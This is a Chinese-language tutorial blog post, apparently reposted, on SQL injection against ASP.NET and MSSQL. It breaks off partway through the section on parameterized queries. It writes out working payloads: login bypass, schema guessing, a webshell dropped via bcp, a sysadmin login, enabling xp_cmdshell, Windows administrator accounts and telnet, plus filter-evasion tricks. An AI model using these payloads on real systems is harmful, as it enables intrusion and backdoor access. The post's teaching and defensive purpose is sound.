毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。 (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文) 下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。 什么是SQL注入(SQL Injection)所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。 尝尝SQL注入 1. 一个简单的登录页面关键代码:(详细见下载的示例代码)
方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin 123456) 1) 输入正常数据,效果如图:合并的SQL为: SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456′ 2) 输入注入数据:如图,即用户名为:用户名:admin’—,密码可随便输入 合并的SQL为: SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123′ 因为UserName值中输入了“–”注释符,后面语句被省略而登录成功。(常常的手法:前面加上‘; ‘ (分号,用于结束前一条语句),后边加上‘–‘ (用于注释后边的语句)) 2. 上面是最简单的一种SQL注入,常见的注入语句还有:1) 猜测数据库名,备份数据库a) 猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases b) 备份数据库:;backup database 数据库名 to disk = ‘c:*.db’;– 或:declare a sysname;set @a=db_name();backup database a to disk=’你的IP你的共享目录bak.dat’ ,name=’test’;– 2) 猜解字段名称a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常 b) 读取法:and (select top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0 把col_name(object_id(‘表名‘),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。 3) 遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));– a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;– b) 利用xp_subdirs获得子目录列表,并存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;– c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– (实验成功) d) 利用 bcp 命令将表内容导成文件 即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’) Exec master..xp_cmdshell N’BCP “select * from SchoolMarket.dbo.GoodsStoreData;” queryout c:/inetpub/wwwroot/runcommand.asp -w -S”localhost” -U”sa” -P”123″‘ (注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”) 在sql查询器中通过语句:Exec master..xp_cmdshell N’BCP’即可查看BCP相关参数,如图: 4) 查询当前用户的数据库权限MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。 可通过1=(select IS_SRVROLEMEMBER(‘sysadmin’))得到当前用户是否具有该权限。 5) 设置新的数据库帐户(得到MSSQL管理员账户)d) 在数据库内添加一个hax用户,默认密码是空 ;exec sp_addlogin’hax’;– e) 给hax设置密码 (null是旧密码,password是新密码,user是用户名) ;exec master.dbo.sp_password null,password,username;– f) 将hax添加到sysadmin组 ;exec master.dbo.sp_addsrvrolemember ‘hax’ ,’sysadmin’;– 6) xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户 )通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。 下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务: a) 判断xp_cmdshell扩展存储过程是否存在 SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name =’xp_cmdshell’ b) 恢复xp_cmdshell扩展存储过程 Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:inetputwebxplog70.dll’; 开启后使用xp_cmdshell还会报下面错误: SQL Server 阻止了对组件 ‘xp_cmdshell’ 的过程 ‘sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器“。 通过执行下面语句进行设置: — 允许配置高级选项 EXEC sp_configure ‘show advanced options’, 1 GO — 重新配置 RECONFIGURE GO — 启用xp_cmdshell EXEC sp_configure ‘xp_cmdshell’, 0 GO —重新配置 RECONFIGURE GO c) 禁用xp_cmdshell扩展存储过程 Exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’; d) 添加windows用户: Exec xp_cmdshell ‘net user awen /add’; e) 设置好密码: Exec xp_cmdshell ‘net user awen password’; f) 提升到管理员: Exec xp_cmdshell ‘net localgroup administrators awen /add’; g) 开启telnet服务: Exec xp_cmdshell ‘net start tlntsvr’ 7) 没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.(本人windows7系统,测试下面SQL语句木有效果) declare shell int ; execsp_OAcreate ‘w script .shell’,shell output ; execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen /add’; execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen 123′; execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add’; 在使用的时候会报如下错: SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’、‘sys.sp_OAMethod’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器“。 解决办法: sp_configure ‘show advanced options’, 1; GO RECONFIGURE; GO sp_configure ‘Ole Automation Procedures’, 1; GO RECONFIGURE; GO 好了,这样别人可以登录你的服务器了,你怎么看? 8) 客户端脚本攻击攻击1:(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。 措施:转义提交的内容,.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。 攻击2:(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string) 转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。 参考: 示例代码:(可在示例附带的数据库测试) a) 向当前数据库的每个表的每个字段插入一段恶意脚本
b) 更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行
c) 批次删除数据库被注入的脚本
d) 我如何得到“HEX编码”? 开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符 ’0x’ ) Ø 在线转换 (TRANSLATOR, BINARY),进入…… 9) 对于敏感词过滤不到位的检查,我们可以结合函数构造SQL注入比如过滤了update,却没有过滤declare、exec等关键词,我们可以使用reverse来将倒序的sql进行注入:
防止SQL注入 1. 数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。如MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。 2. 自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。在 ASP.NET 中,可通过web.config配置文件的节点设置:
mode:指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。
看下效果图: 设置为一般性错误: 设置为: 3. 把危险的和不必要的存储过程删除xp_:扩展存储过程的前缀,SQL注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。
4. 非参数化SQL与参数化SQL1) 非参数化(动态拼接SQL)a) 检查客户端脚本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的《HTML特殊转义字符》转换掉。 b) 类型检查:对接收数据有明确要求的,在方法内进行类型验证。如数值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或数字等。 c) 长度验证:要进行必要的注入,其语句也是有长度的。所以如果你原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。 d) 使用枚举:如果只有有限的几个值,就用枚举。 e) 关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下,学习学习,谢谢! 这边提供一个关键字过滤参考方案(MSSQL):
优点:写法相对简单,网络传输量相对参数化拼接SQL小 缺点: a) 对于关键字过滤,常常“顾此失彼”,如漏掉关键字,系统函数,对于HEX编码的SQL语句没办法识别等等,并且需要针对各个数据库封装函数。 b) 无法满足需求:用户本来就想发表包含这些过滤字符的数据。 c) 执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,SQLServer的缓存空间也有限。有限的空间应该被充分利用。 2) 参数化查询(Parameterized Query)a) 检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。 b) 参数化查询原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是 | ||||||||||||||||||||||||||||||||||
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|